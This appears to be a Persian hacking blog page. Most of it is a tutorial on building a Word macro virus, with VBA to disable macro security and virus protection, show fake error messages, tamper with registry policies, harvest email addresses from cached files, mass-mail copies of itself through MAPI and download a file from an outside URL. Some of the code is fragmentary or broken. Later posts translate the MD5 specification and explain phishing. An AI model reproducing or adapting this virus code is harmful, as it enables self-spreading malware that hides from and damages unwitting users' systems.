یک مساله دیگر اینکه شما با ساختن یک اسکریپت می توانید autoexec.bat را باز کنید و چک کنید.bat تا متوجه گردید آیا پس از پاک شدن اولیه دوباره آنتی ویروس نصب شده است و در صورت نصب دوباره آن را پاک کنید.

 .پیام های خطا:
یک روش خوب برای جلوگیری از شناخته شدن جلوگیری است و آن هم استفاده از پیام های خطا می باشد. از این دست می توان به مثا ل زیر اشاره کرد:
Sub ViewCode()
MsgBox "Not enough memory", 16
End Sub

تنها کاری که باید انجام دهیم فقط و فقط افزایش یک مسج باکس بوده و معین کردن نوع پیام مورد نظر ما در پنجره . یک مثال:
MsgBox "This program has performed an illegal operation and will be shut
down.", vbCritical, "Microsoft Word"
به عنوان مثال برای پیام خطا های اطلاعاتی به شکل MsgBox "Not Enough Memory",
vbInformation
و برای خطاهای ضروری به شکل : MsgBox "Not Enough Memory",
vbExclamation
باشد.
در قسمت ذیل نیز یک سری از موارد مورد استفاده را مشاهده می نمایید:
Criticals:
16 - Critical
18 - Abort/Ignore/Retry
19 - Yes/No/Cancel
20 - Yes/No
21 - Retry/Cancel
Standard
1 - Ok/Cancel
2 - Abort/Ignore/Retry
3 - Yes/No/Cancel
4 - Yes/No
5 - Retry/Cancel




3. از کار انداختن Tool bar ها:
در ورد یک سری تول بار ها موجود بوده که به شما اجازه داده وضعیت ماکرو فایل ها را در تمامی مراحل کنترل و مشاهده کنید و باید آنها غیر فعال گردد. ما می خواهیم تغیرات امنیتی در ماکرو آلوده خود را به شکل زیر انجام دهیم:

CommandBars("Macro").Controls("Security...").Enabl ed = 0

خط بعد دکمه ماکرو را غیر فعال می سازد
CommandBars("Macro").Controls("Macros...").Enabled = 0
توجه نموده که می توانید به جای 0 از False و به جای Enable نیز از Delete استفاده کنید.
CommandBars("Tools").Controls("Customize...").Enab led = False
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Status Bar").Enabled = False
CommandBars("Tools").Controls("Templates and Add-Ins...").Enabled = False
CommandBars("Format").Controls("Style...").Enabled = Fals


در دستورات بالا ما یک بار status را که بر فعالیت ها نظارت میکرد را پاک نمودیم و احتما ل یافتن ماکرو خود را کاهش دادیم.
نکته دیگر اینست که شما می خواهید که در ویروس شما اصل ذخیره وجود داشته باشد یعنی کار بر را در هر شرایطی وادار به ذخیره نموده و در واقع به کاربر میگوید که فایل ذخیره شده است و دیگر به اجازه شما برای ذخیره احتیاجی نمی باشد.
NormalTemplate.Saved = True
ActiveDocument.Saved = True
دستور زیر نیز در راستای اجرای اتوماتیک وار ماکرو می باشد:
Options.VirusProtection = False
و دستور زیر نیز دکمه cancel را غیر فعال میکند حال مفید بودن این مورد را خودتان تصور کنید.
Application.EnableCancelKey = wdCancelDisabled
Application.ScreenUpdating = False 'this one is rather straightforward.

4. غیر فعال کردن ریجستری:
در این روش ما بوسیله ی دست بردن در ریجستری به هدف خود می رسیم. با دستور
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") =
1&
سطحی امنیتی ماکرو را به پایین ترین حد کاهش میدهد.
در بخش پایین یک سری از این دستور ها را مورد بررسی قرار میدهیم:

کد های ریجستری زیر درایو ها را از Mycomputer حذف می نماید.
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
Nodrives = 3
Disables Adding Printers:
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
NoAddPrinter = 1
Sub folders at start-programs will be disabled.
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
NoStartMenuSubFolders = 1
تمام موارد موجود بر روی دسکتاپ را مخفی می سازد:
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
NoDesktop = 1
Message box will appear on start
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Winlogon
LegalNoticeCaption = Text
LegalNoticeText = Text
از میان بردن دکمه استارت
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer
"NoCloseKey" = "1"
تنظیم دایرکتوری ویندوز
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Setup\SourcePath
"WinDir"="C:\Windows\"
نمایش صفحه ارتباطات با شبکه

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\RunServices]
"LoadPowerProfile"="Rundll32.exe powrprof.dll,LoadCurrentPwrScheme"
"TrueVector"="C:\WINDOWS\SYSTEM\ZONELABS\VSMON .EXE -service"
"MiniLog"="C:\\WINDOWS\SYSTEM\ZONELABS\MINILOG .EXE -service"
این مورد پوشه Recent Documents را غیر فعال نموده که من پیشنهاد می کنم حتما از آن استفاده کنید.

[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
"NoRecentDocsMenu"="1"
Gets rid of the task bar:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
"NoTaskbar"=dword:00000000
).Name="Virus name" Then
Goto Destination
Next i



استفاده از MAPI برای فرستادن میل:
در قسمت آخر آموزش شما با چگونگی انتشار ماکر ویروس خود آشنا میشوید.
از MAPI win32 api برای یافتن آدرس های ایمیل و ارسال نسخه های از خود استفاده میکند. ما ار تابع های MAPILogOn, MAPISendMail, MAPILogoff برای بر طرف کردن کار های خود استفاده میکنیم. این کد ها در پروسیژر در راستای ارسال میل ها با متن مورد نظر عمل میکنند.
Public Const MAPI_AB_NOMODIFY = &H400
Public Const MAPI_BCC = 3
Public Const MAPI_BODY_AS_FILE = &H200
Public Const MAPI_CC = 2
Public Const MAPI_DIALOG = &H8
Public Const MAPI_E_AMBIGUOUS_RECIPIENT = 21
Public Const MAPI_E_AMBIG_RECIP = MAPI_E_AMBIGUOUS_RECIPIENT
Public Const MAPI_E_ATTACHMENT_NOT_FOUND = 11
Public Const MAPI_E_ATTACHMENT_OPEN_FAILURE = 12
Public Const MAPI_E_ATTACHMENT_WRITE_FAILURE = 13
Public Const MAPI_E_BAD_RECIPTYPE = 15
Public Const MAPI_E_BLK_TOO_SMALL = 6
Public Const MAPI_E_DISK_FULL = 4
Public Const MAPI_E_FAILURE = 2
Public Const MAPI_E_INSUFFICIENT_MEMORY = 5
Public Const MAPI_E_INVALID_EDITFIELDS = 24
Public Const MAPI_E_INVALID_MESSAGE = 17
Public Const MAPI_E_INVALID_RECIPS = 25
Public Const MAPI_E_INVALID_SESSION = 19
Public Const MAPI_E_LOGIN_FAILURE = 3
Public Const MAPI_E_LOGON_FAILURE = MAPI_E_LOGIN_FAILURE
Public Const MAPI_E_MESSAGE_IN_USE = 22
Public Const MAPI_E_NETWORK_FAILURE = 23
Public Const MAPI_E_NO_MESSAGES = 16
Public Const MAPI_E_NOT_SUPPORTED = 26
Public Const MAPI_E_TEXT_TOO_LARGE = 18
Public Const MAPI_E_TOO_MANY_FILES = 9
Public Const MAPI_E_TOO_MANY_RECIPIENTS = 10
Public Const MAPI_E_TOO_MANY_SESSIONS = 8
Public Const MAPI_E_TYPE_NOT_SUPPORTED = 20
Public Const MAPI_E_UNKNOWN_RECIPIENT = 14
Public Const MAPI_ENVELOPE_ONLY = &H40
Public Const MAPI_FORCE_DOWNLOAD = &H1000
Public Const MAPI_GUARANTEE_FIFO = &H100
Public Const MAPI_LOGOFF_SHARED = &H1
Public Const MAPI_LOGOFF_UI = &H2
Public Const MAPI_LOGON_UI = &H1
Public Const MAPI_NEW_SESSION = &H2
Public Const MAPI_OLE = &H1
Public Const MAPI_OLE_STATIC = &H2
Public Const MAPI_ORIG = 0
Public Const MAPI_PEEK = &H80
Public Const MAPI_RECEIPT_REQUESTED = &H2
Public Const MAPI_SENT = &H4
Public Const MAPI_SUPPRESS_ATTACH = &H800
Public Const MAPI_TO = 1
Public Const MAPI_UNREAD = &H1
Public Const MAPI_UNREAD_ONLY = &H20
Public Const MAPI_USER_ABORT = 1
Public Const MAPI_E_USER_ABORT = MAPI_USER_ABORT
Public Const SUCCESS_SUCCESS = 0
'-- mapi message recipient object type
Public Type MapiRecip
Reserved As Long
RecipClass As Long
Name As String
Address As String
EIDSize As Long
EntryID As String
End Type
'-- mapi message file object type
Public Type MapiFile
Reserved As Long
Flags As Long
Position As Long
PathName As String
FileName As String
FileType As String
End Type
'-- mapi message object type
Public Type MAPIMessage
Reserved As Long
Subject As String
NoteText As String
MessageType As String
DateReceived As String
ConversationID As String
Flags As Long
RecipCount As Long
FileCount As Long
End Type
Public Declare Function MAPILogoff Lib "MAPI32.DLL" (ByVal Session&, _
ByVal UIParam&, ByVal Flags&, _
ByVal Reserved&) As Long
Public Declare Function MAPILogon Lib "MAPI32.DLL" (ByVal UIParam&,_
ByVal User$, ByVal Password$, _
ByVal Flags&, ByVal Reserved&,_
Session&) As Long
Public Declare Function MAPISendMail Lib "MAPI32.DLL" Alias _
"BMAPISendMail" (ByVal Session&,
ByVal _
UIParam&, Message As MAPIMessage, _
Recipient() As MapiRecip, File() As
MapiFile, _
ByVal Flags&, ByVal Reserved&) As
Long

' Mailsending procedure
' sTo - target adress (where the email should ne delivered)
' sSubject - email subject
' sMessage - message body text
Public Function api_SendMail(sTo As String, sSubject As String, sMessage As
String)
' * use api functions to send mail
'
On Error Goto suxx
Dim Rtn As Long '-- return value For api calls
Dim objMsg As MAPIMessage''-- message object
Dim objRec() As MapiRecip''-- recipient object array
Dim objFile() As MapiFile''-- file object array
Dim hMAPI As Long'-- session handle
ReDim objRec(1)
ReDim objFile(1)
'
'-=-=-=-=-=-
'file object
'-=-=-=-=-=-
'
' * default - not expecting to send a file
'
objFile.Reserved = 0
'
' * values not used
'
'objFile.Flags
'objFile.Position = -1
'objFile.PathName = "c:\mtx4ever.exe"
'objFile.FileName = 0
'objFile.FileType = 0
'
'-=-=-=-=-=-=-=-=
'recipient object
'-=-=-=-=-=-=-=-=
'
objRec(0).Reserved = 0
objRec(0).RecipClass = 1
objRec(0).Name = sTo
'
' * values not used for recipient
'
'objRec.Address
'objRec.EIDSize
'objRec.EntryID
'
'-=-=-=-=-=-=-=
'message object
'-=-=-=-=-=-=-=
'
objMsg.Reserved = 0
objMsg.Subject = sSubject ' mail subject
objMsg.RecipCount = 1
objMsg.FileCount = 0 ' how many files are in message
objMsg.NoteText = sMessage ' mail message
'
' * values not used for message
'
'objMsg.MessageType
'objMsg.DateReceived
'objMsg.ConversationID
'objMsg.Flags
' We will create a session for e-mail sending
' using standart windows password for sending emails.
' it's possible not to use MS Exchange Settings, and simply put 0 to that
option
Rtn = MAPILogon(0, "MS Exchange Settings", "", MAPI_LOGON_UI, 0, hMAPI)
' * send mail message through MAPI
Rtn = MAPISendMail(hMAPI, 0, objMsg, objRec, objFile, 0, MAPI_DIALOG)
' * logoff MAPI application
Rtn = MAPILogoff(hMAPI, 0, 0, 0)
' * close this function
Exit Function
suxx:
Msgbox "MOD_MAIL.api_SendMail()"
End Function

یک موتور جستجو را بو سیله ی تابع های ای پی آی ایجاد نموده و آن آدرس ها را یافته و آنها را ذخیره می نماید . البته می توان آدرس هایی زیادی را در مسیر زیر یافت:
C:\windows\Temporary Internet Files

مدل باس
Private Declare Function FindFirstFile Lib "kernel32" _
Alias "FindFirstFileA" _
(ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" _
Alias "FindNextFileA" _
(ByVal hFindFile As Long, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" _
Alias "GetFileAttributesA" _
(ByVal lpFileName As String) As Long
Private Declare Function FindClose Lib "kernel32" _
(ByVal hFindFile As Long) As Long
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, _
InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
Function FindFilesAPI(path As String, _
SearchStr As String, _
FileCount As Integer, _
DirCount As Integer)
Dim FileName As String ' variable holding filename
Dim DirName As String ' variable holding subdir name
Dim dirNames() As String ' filenames buffer
Dim nDir As Integer ' number of directories in this path
Dim i As Integer ' cycle counter
Dim hSearch As Long ' search descriptor
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
If Right(path, 1) <> "\" Then path = path & "\"
' subdirectories search
nDir = 0
ReDim dirNames(nDir)
Cont = True
hSearch = FindFirstFile(path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While Cont
DirName = StripNulls(WFD.cFileName)
If (DirName <> ".") And (DirName <> "..") Then
' checking directory
If GetFileAttributes(path & DirName) And _
FILE_ATTRIBUTE_DIRECTORY Then
dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
End If
Cont = FindNextFile(hSearch, WFD)
Loop
Cont = FindClose(hSearch)
End If
hSearch = FindFirstFile(path & SearchStr, WFD)
Cont = True
If hSearch <> INVALID_HANDLE_VALUE Then
While Cont
FileName = StripNulls(WFD.cFileName)
If (FileName <> ".") And (FileName <> "..") Then
FindFilesAPI = FindFilesAPI + _
(WFD.nFileSizeHigh * MAXDWORD) + _
WFD.nFileSizeLow
FileCount = FileCount + 1
'List1.AddItem path & FileName
ggg = path & FileName
MsgBox ggg
Call try(ggg)
End If
Cont = FindNextFile(hSearch, WFD) ' Get next file
Wend
Cont = FindClose(hSearch)
End If
' if there are subdirectories
If nDir > 0 Then
' perform recursive search
For i = 0 To nDir - 1
FindFilesAPI = FindFilesAPI + _
FindFilesAPI(path & dirNames(i) _
& "\", SearchStr, FileCount, DirCount)
Next i
End If
End Function
Private Sub Search()
Dim SearchPath As String, FindStr As String
Dim FileSize As Long
Dim NumFiles As Integer, NumDirs As Integer
Screen.MousePointer = vbHourglass
'SearchPath = directory name
SearchPath = "C:\My Documents"
' FindStr = filename we are searching for
FindStr = "*.*htm"
FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)
Screen.MousePointer = vbDefault
End
End Sub
Private Sub try(fName)
On Error Resume Next
WindowSize = 5000
seekPoint = 1
Open fName For Binary As 1
Do While seekPoint < LOF(1)
VarString$ = String$(WindowSize, " ")
Get #1, seekPoint, VarString$
seekPoint = seekPoint + WindowSize - 50
AsIs = search_(VarString$)
Loop
Close #1
End Sub
Function mid_(a$, i, j1)
On Error Resume Next
s = 0
If i > 0 And (i + j1 - 1) <= Len(a$) Then
b$ = Mid$(a$, i, j1)
If b$ >= "a" And b$ <= "z" Then s = 1
If b$ >= "A" And b$ <= "Z" Then s = 1
If b$ >= "0" And b$ <= "9" Then s = 1
If b$ = "-" Or b$ = "_" Or b$ = "+" Or b$ = "." Or b$ = "@" Then s = 1
End If
mid_ = s
End Function
Function search_(a$)
On Error Resume Next
s$ = ""
For i = 1 To Len(a$)
If Mid$(a$, i, 1) = "@" Then
name_ = "": j = i
Do
j = j - 1
s = mid_(a$, j, 1)
Loop While s = 1
Do
j = j + 1
s = mid_(a$, j, 1)
If s = 1 Then name_ = name_ + Mid$(a$, j, 1)
Loop While s = 1
s = 0: k = 0
For j2 = 1 To Len(name_)
If Mid$(name_, j2, 1) = "@" Then k = k + 1
If Mid$(name_, j2, 1) = "." Then s = 1
Next
If k = 1 And s = 1 And Len(name_) > 5 And Left$(name_, 1) <> "@" And
Right$(name_, 1) <> "@" Then MsgBox name_
'Then UserForm1.addr.AddItem Name_
End If
If Mid$(a$, i, 1) <> "@" Then s$ = s$ + Mid$(a$, i, 1) Else s$ = s$ + " "
Next
search_ = s$
End Function
در پروسیژر فوق یک فایل از یک URL دانلود میگردد.
این هم یک روش فشرده تر شده برای برای کسانی که از کد های زیاد متنفر هستند.
DownLoadPlugin "URL of the plugin", "name of the plugin"
Code & Exemple:
Private Sub Download()
DownLoadPlugin "http://matrixvx.org", "plugin.plg"
End Sub

Public Declare Function DoFileDownload Lib "shdocvw.dll" (ByVal lpszFile As
String) As Long
Public Sub DownLoadPlugin(urlz As String, plugin As String)
Dim DL As Long
On Error GoTo errorz
If urlz$ = "" Then urlz$ = strUrl$
If strUrl$ = "" Then strUrl$ = urlz$
If Left(strUrl$, 4) <> "http" Then strUrl$ = "http://" & strUrl$
If Right$(strUrl$, 1) <> "/" Then strUrl$ = strUrl$ & "/"
If Left$(plugin$, 1) = "/" Then plugin = Mid$(plugin$, 2)
DL& = DownLoadPlugin(StrConv(strUrl$ & plugin$, vbUnicode))
Exit Sub
errorz:
MsgBox "Can't download the fucking file" & urlz & plugin$ & ".",
vbCritical,
"Oshibka - ERROR !!!!"
End Sub



نويسنده: Herbod

+ نوشته شده در  شنبه دهم شهریور 1386ساعت 13:18  توسط Devil Hacker  | 

مقاله اي درباره الگوریتم Md5

 سر فصل ها:

1- خلاصه
2- شرایط و نکات لازم
3- توضیحات الگوریتم MD5
4- نتیجه
5- پا نویس

مترجم: امید متقی راد



1- خلاصه:
در این مقاله با الگوریتم "خلاصه پیام MD5" آشنا می شویم. این الگوریتم یک رشته با طول متفاوت را به عنوان ورودی می گیرد و یک "خلاصه پیام MD5" یا "اثر انگشت" با طول 128 بیت می سازد.
در این روش اینکه دو پیام مختلف دارای یک "خلاصه پیام" باشند یا اینکه یک رشته از روی یک "خلاصه پیام" ساخته شود غیر ممکن می باشد. این الگوریتم برای امضاهای دیجیتال مناسب است، جایی که احتیاج به خلاصه کردن یک فایل بزرگ در یک رشتهء امن و فشرده، قبل از کد کردن آن متن، در سیستم های کدینگ، با کلید های خصوصی و عمومی آن سیستم مانند RSA (Rivest Shamir Adelman)
الگوریتم MD5 برای داشتن سرعت بالا در ماشین های 32 بیتی طراحی شده است در عین حال احتیاجی به جانشینی ها در جداول بزرگ ندارد. این الگوریتم را با کدهای بسیار کمی می توان نوشت.
الگوریتم MD5 توسعه ای از الگوریتم MD4 می باشد با این تفاوت که MD5 کمی کندتر از MD4 عمل می کند اما در طراحی آن بسیار محافظه کارانه عمل شده است.
MD5 به این دلیل طراحی شد که حس کردند MD4 به عنوان سرعت بالایی که داشت پذیرفته شده و از امنیت بالایی در شرایط بحرانی برخوردار نمی باشد. MD4 برای سرعت بالا طراحی شده ولی احتمال شکست آن در رمز کردنی موفق وجود دارد. MD5 کمی در سرعت کند شده با این تفاوت که بیشترین امنیت را داراست. این الگوریتم حاصل تاثیر دادن نظرات تعدادی از استفاده کنندگان MD4 به همراه مقادیری تغییر در ساختار الگوریتم برای افزایش سرعت و قدرت آن می باشد. الگوریتم MD5 در این مکان عومی قرارگرفته تا از آن استفاده و در صورت امکان استاندارد شود.

2- شرایط و نکات لازم:
در این متن منظور از « کلمه» تعداد 32 بیت و «بایت» تعداد 8 بیت داده می باشد. یک صف از بیت ها دارای خصوصیات طبیعی یک صف از بایتها می باشند که هر گروه هشت تایی متوالی از بیتها یک بایت را تشکیل می دهند که پرارزش ترین بیت در ابتدا قرار دارد. یک صف از بایت ها دقیقا مشابه یک صف 32 بیتی از کلمات پردازش می شود. جایی که گروهی 4 تایی از توالی بایتها پردازش می شوند، کم ارزش ترین بایت اولین بایت می باشد.
اجازه بدهید از x_i بجای xi (x اندیس i ) استفاده کنیم و اگر مقدار اندیس یک عبارت محاسباتی بود آن را در {} محدود می کنیم، مانند: x_{i-1} . همچنین از ^ به عنوان علامت توان استفاده می کنیم، پس x^i یعنیx به توان i .
اجازه بدهید از علامت «+» برای اضافه کردن دو کلمه به هم استفاده کنیم. از x<<<5 به عنوان عملگر چرخش بیتی در کلمات استفاده می شود کهx به اندازه 5 بیت به چپ چرخش می کند.
از not (x) به عنوان عملگر نقیض بیتی، از X v Y به عنوان عملگر فصل (or) و از X xor Y به عنوان عملگر exclusive or و از XY به عنوان عملگر عطف (and) استفاده می کنیم.

3- توضیحات الگوریتم MD5:
فرض کنید ما b بیت پیام به عنوان ورودی داریم و تصمیم داریم خلاصه پیام آن را بدست آوریم. b در اینجا یک عدد نا منفی و صحیح است، b می تواند مقدار صفر داشته باشد و هیچ محدودیتی برای مضرب هشت بودن آن نیست و به هر اندازه می تواند بزرگ باشد. فرض کنید بیت های این پیام را بشود به صورت زیر نوشت:
m_0 m_1 ... m_{b-1}
برای آوردن خلاصه پیام 5 مرحله زیر را انجام می دهیم:

گام 1- اضافه کردن بیتهای نرم کننده:
طول پیام مورد نظر به 448 به پیمانه 512 توسعه پیدا می کند به این معنی که اگر به طول پیام 64 بیت اضافه شود، طولش مضربی از 512 خواهد بود. عمل توسعه دادن همیشه اجرا می شود مگر اینکه طول پیام به صورت 448 به پیمانه 512 باشد.
عمل توسعه پیام یا نرم کردن آن به صورت زیر انجام می شود:
یک بیت [1] سپس تعدادی بیت [0] به پیام اضافه می شود.اضافه شدن بیت های 0 تا زمانی که طول رشته به 448 بر پایه 512 برسد، ادامه پیدا می کند. در این عمل حداقل یک بیت و حداکثر 512 بیت اضافه خواهد شد.

گام 2- افزایش طول:
یک نمایش 64 بیتی از b بیت پیام اولیه به آخر نتیجه گام قبل اضافه می شود. در بدترین حالت، b بزرگتر از 64 بیت خواهد بود. در این حالت فقط 64 بیت کم ارزش b استفاده خواهد شد.
هم اکنون طول پیام بدست آمده دقیقا معادل مضربی از 512 خواهد بود. مشابه اینکه بگوییم، این پیام طولی معادل مضربی از16 کلمه دارد اجازه بدهید M[0…N-1] را نمایانگر کلمات پیام بدست آمده بدانیم. (N مضربی از 16 می باشد.)

گام 3- یین بافر برای MD:
برای محاسبه خلاصه پیام یک بافر 4 کلمه ای (A,B,C,D) استفاده می شود. هر کدام از A، B، Cو D یک ثبات 32 بیتی می باشند. این ثبات ها مطابق جدول زیر مقدار دهی می شوند ( بایتهای کم ارزش در ابتدا قرار دارند )
word A: 01 23 45 67
word B: 89 ab cd ef
word C: fe dc ba 98
word D: 76 54 32 10

گام 4- پردازش پیام در بلاک های 16 کلمه ای:
در ابتدا 4 تابع کمکی تعریف می کنیم که هر کدام به عنوان ورودی سه کلمهء 32 بیتی می گیرد و برای خروجی یک کلمهء 32 بیتی تولید می کند.
F(X,Y,Z) = XY v not(X) Z
G(X,Y,Z) = XZ v Y not(Z)
H(X,Y,Z) = X xor Y xor Z
I(X,Y,Z) = Y xor (X v not(Z))
در هر موقعیت بیتی، F به عنوان شرط عمل می کند: اگر X آنگاه Y در غیر این صورت Z. تابع F می توانست طوری تعریف شود که به جای استفاده از v از + استفاده کند چون XY و not(X) هرگز یک هایی در موقعیت بیتی یکسان نخواهد داشت. جالب است به یاد داشته باشید که اگر بیت های X، Y و Z مستقل و غیر مرتبط باشند، هر بیت از F(X, Y, Z) مستقل و غیر مرتبط خواهد بود.
توابع G، H و I شبیه تابع F هستند، به طوری که آنها در "توازی بیتی" کار می کنند تا خروجی شان را از بیت های X، Y و Z تولید کنند. در چنین روشی اگر بیت های متناظر X، Y و Z مستقل و غیر مرتبط باشند، آنگاه هر بیت از G(X, Y, Z)، H(X, Y, Z) و I(X, Y, Z) مستقل و غیر مرتبط خواهند بود.
توجه داشته باشید که تابع H، تابع XOR یا توازن بیتی از ورودی هایش است. این گام از یک جدول 64 عنصری T[1…64] ساخته شده از یک تابع مثلثاتی، استفاده می کند. اجازه دهید T[i]، I-امین عنصر جدول را مشخص می کند که برابر است با قسمت صحیح حاصلضرب 4294967296 در abs(sin(i))، به طوری که I به رادیان باشد.
کارهای زیر را انجام می دهید:

/* Process each 16-word block. */
For i = 0 to N/16-1 do

/* Copy block i into X. */
For j = 0 to 15 do
Set X[j] to M[i*16+j].
end /* of loop on j */

/* Save A as AA, B as BB, C as CC, and D as DD. */
AA = A
BB = B
CC = C
DD = D

/* Round 1. */
/* Let [abcd k s i] denote the operation
a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */
/* Do the following 16 operations. */
[ABCD 0 7 1] [DABC 1 12 2] [CDAB 2 17 3] [BCDA 3 22 4]
[ABCD 4 7 5] [DABC 5 12 6] [CDAB 6 17 7] [BCDA 7 22 8]
[ABCD 8 7 9] [DABC 9 12 10] [CDAB 10 17 11] [BCDA 11 22 12]
[ABCD 12 7 13] [DABC 13 12 14] [CDAB 14 17 15] [BCDA 15 22 16]

/* Round 2. */
/* Let [abcd k s i] denote the operation
a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */
/* Do the following 16 operations. */
[ABCD 1 5 17] [DABC 6 9 18] [CDAB 11 14 19] [BCDA 0 20 20]
[ABCD 5 5 21] [DABC 10 9 22] [CDAB 15 14 23] [BCDA 4 20 24]
[ABCD 9 5 25] [DABC 14 9 26] [CDAB 3 14 27] [BCDA 8 20 28]
[ABCD 13 5 29] [DABC 2 9 30] [CDAB 7 14 31] [BCDA 12 20 32]

/* Round 3. */
/* Let [abcd k s t] denote the operation
a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */
/* Do the following 16 operations. */
[ABCD 5 4 33] [DABC 8 11 34] [CDAB 11 16 35] [BCDA 14 23 36]
[ABCD 1 4 37] [DABC 4 11 38] [CDAB 7 16 39] [BCDA 10 23 40]
[ABCD 13 4 41] [DABC 0 11 42] [CDAB 3 16 43] [BCDA 6 23 44]
[ABCD 9 4 45] [DABC 12 11 46] [CDAB 15 16 47] [BCDA 2 23 48]

/* Round 4. */
/* Let [abcd k s t] denote the operation
a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */
/* Do the following 16 operations. */
[ABCD 0 6 49] [DABC 7 10 50] [CDAB 14 15 51] [BCDA 5 21 52]
[ABCD 12 6 53] [DABC 3 10 54] [CDAB 10 15 55] [BCDA 1 21 56]
[ABCD 8 6 57] [DABC 15 10 58] [CDAB 6 15 59] [BCDA 13 21 60]
[ABCD 4 6 61] [DABC 11 10 62] [CDAB 2 15 63] [BCDA 9 21 64]

/* Then perform the following additions. (That is increment each
of the four registers by the value it had before this block
was started.) */
A = A + AA
B = B + BB
C = C + CC
D = D + DD

end /* of loop on i */

گام 5- خروجی:
خلاصه پیامی که به عنوان خروجی تولید می شود و عبارت است از A، B، C و D، که ما با کم ارزش ترین بیت A شروع می کنیم و به با ارزش ترین بیت D خاتمه می دهیم. این تعریف MD5 را کامل می کند.

4- نتیجه:
الگوریتم خلاصه پیام MD5 به سادگی قابل اجرا می باشد و یک "اثر انگشت" یا "خلاصه پیام" از پیام با طول اختیاری تولید می کند. گمان برده می شود که امکان مواجه شدن با دو پیام که خلاصه پیام مشابهی دارند از رتبهء 64^2 و برای هر پیامی که به آن یک خلاصه پیام داده شده است از رتبهء 128^2 می باشد.
الگوریتم MD5 برای نقاط ضعف به دقت بررسی شده است. به هر حال این الگوریتم نسبتا جدید است و تحلیل امنیتی بیشتری را طلب می کند، مشابه طرح های مشابه در این رده .
+ نوشته شده در  شنبه دهم شهریور 1386ساعت 13:15  توسط Devil Hacker  | 

phishing یا دزدی هویت

 هنگامی که گمان می کردید که می توانید با اطمینان به سراغ میل باکس خود بروید، نوع جدیدی از تقلب در راه بود. Phishing؛ حیله های phishing چیزی فراتر از هرزنامه های ناخواسته و مزاحم هستند. آنها می توانند منجر به دزدیده شدن شماره های اعتباری، کلمات عبور، اطلاعات حساب یا سایر اطلاعات شخصی شما شوند.

Phishing چیست؟

نوعی از فریب است که برای دزدیدین هویت شما طراحی شده است. در یک حیله از نوع phishing، یک فرد آسیب رسان سعی می کند تا اطلاعاتی مانند شماره های اعتباری و کلمات عبور یا سایر اطلاعات شخصی شما را با متقاعد کردن شما به دادن این اطلاعات تحت ادعاهای دروغین بدست آورد. این نوع حملات معمولاً از طریق هرزنامه یا پنجره های pop-up می آیند.




Phishing چگونه کار می کند؟

یک فریب phishing توسط یک کاربر بداندیش که میلیون ها ایمیل فریبنده ارسال می کند، آغاز می شود بطوریکه بنظر می رسد که از وب سایتهای معروف یا از سایت های که مورد اعتماد شما هستند، مانند شرکت کارت اعتباری یا بانک شما می آیند. ایمیل ها و وب سایتهایی که از طریق ایمیل ها برای شما ارسال می شود، آنقدر رسمی بنظر می رسند که بسیاری از مردم را به این باور می رسانند که قانونی هستند. با این باور که این ایمیل ها واقعی هستند، افراد زودباور اغلب به تقاضای این ایمیل ها مبنی بر شماره های کارت اعتباری، کلمات عبور و سایر اطلاعات شخصی پاسخ می دهند.

یک جاعل! لینکی در یک ایمیل جعلی قرار می دهد که اینگونه بنظر می رسد که لینک به وب سایت واقعی است، اما در واقع شما را به سایت تقلبی یا حتی یک پنجره pop-up می برد که دقیقاً مانند سایت اصلی بنظر می رسد. این کپی ها اغلب وب سایت های spoofed نامیده می شوند. زمانیکه شما در یکی از این وب سایت ها یا pop-upهای تقلبی هستید ممکن است ناآگاهانه حتی اطلاعات شخصی بیشتری وارد کنید که مستقیماً به شخصی که این سایت تقلبی را درست کرده است، ارسال خواهد شد. این شخص آن موقع می تواند از این اطلاعات برای خرید کالا یا تقاضا برای یک کارت اعتباری جدید یا سرقت هویت شما اقدام کند.



